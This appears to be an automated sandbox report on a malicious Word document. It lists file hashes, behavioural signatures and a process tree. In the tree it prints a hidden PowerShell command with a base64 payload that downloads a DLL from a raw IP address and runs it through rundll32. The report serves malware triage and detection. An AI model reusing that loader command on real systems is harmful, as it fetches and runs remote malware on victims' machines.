Analysis
-
max time kernel
141s -
max time network
135s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
12-05-2021 09:39
Static task
static1
Behavioral task
behavioral1
Sample
0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5.doc
Resource
win7v20210408
Behavioral task
behavioral2
Sample
0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5.doc
Resource
win10v20210410
General
-
Target
0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5.doc
-
Size
1.5MB
-
MD5
3272df3f79a0fa8c2ba601c4771b99e4
-
SHA1
90237b6a9396828465224313f1e8d1fe32190b85
-
SHA256
0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5
-
SHA512
f937de508da39c0f2ee844a01bb8bb31e9f3b10ab1243a92be3239d2d18d53552759d20a498e4186a56422bda3824c994903cc228bd4bea1de4903f5c61d3827
Malware Config
Signatures
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
Processes:
WINWORD.EXEdescription pid process target process PID 3656 created 3040 3656 WINWORD.EXE Explorer.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 14 3788 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 3656 WINWORD.EXE 3656 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3788 powershell.exe 3788 powershell.exe 3788 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3788 powershell.exe -
Suspicious use of SetWindowsHookEx 8 IoCs
Processes:
WINWORD.EXEpid process 3656 WINWORD.EXE 3656 WINWORD.EXE 3656 WINWORD.EXE 3656 WINWORD.EXE 3656 WINWORD.EXE 3656 WINWORD.EXE 3656 WINWORD.EXE 3656 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEpowershell.exedescription pid process target process PID 3656 wrote to memory of 3788 3656 WINWORD.EXE powershell.exe PID 3656 wrote to memory of 3788 3656 WINWORD.EXE powershell.exe PID 3788 wrote to memory of 768 3788 powershell.exe rundll32.exe PID 3788 wrote to memory of 768 3788 powershell.exe rundll32.exe
Processes
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5.doc" /o ""2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -nop -w hidden -command $var=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBodHRwOi8vMTc2LjEwLjEyNS4yMzo4MDAwL2hlYWRlcmVsZW1lbnQuanBnIC1PdXRGaWxlICRlbnY6dGVtcFx3aW5zeXMuZGxsOyBydW5kbGwzMiAkZW52OnRlbXBcd2luc3lzLmRsbCxTdGFydA=='));iex $var2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\winsys.dll,Start3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/768-183-0x0000000000000000-mapping.dmp
-
memory/3656-122-0x00007FF876250000-0x00007FF87733E000-memory.dmpFilesize
16.9MB
-
memory/3656-116-0x00007FF85A170000-0x00007FF85A180000-memory.dmpFilesize
64KB
-
memory/3656-117-0x00007FF85A170000-0x00007FF85A180000-memory.dmpFilesize
64KB
-
memory/3656-119-0x00007FF85A170000-0x00007FF85A180000-memory.dmpFilesize
64KB
-
memory/3656-118-0x00007FF87BDD0000-0x00007FF87E8F3000-memory.dmpFilesize
43.1MB
-
memory/3656-114-0x00007FF85A170000-0x00007FF85A180000-memory.dmpFilesize
64KB
-
memory/3656-123-0x00007FF8736A0000-0x00007FF875595000-memory.dmpFilesize
31.0MB
-
memory/3656-115-0x00007FF85A170000-0x00007FF85A180000-memory.dmpFilesize
64KB
-
memory/3788-179-0x0000000000000000-mapping.dmp
-
memory/3788-181-0x00000212D3423000-0x00000212D3425000-memory.dmpFilesize
8KB
-
memory/3788-180-0x00000212D3420000-0x00000212D3422000-memory.dmpFilesize
8KB
-
memory/3788-182-0x00000212D3426000-0x00000212D3428000-memory.dmpFilesize
8KB
-
memory/3788-184-0x00000212D3428000-0x00000212D3429000-memory.dmpFilesize
4KB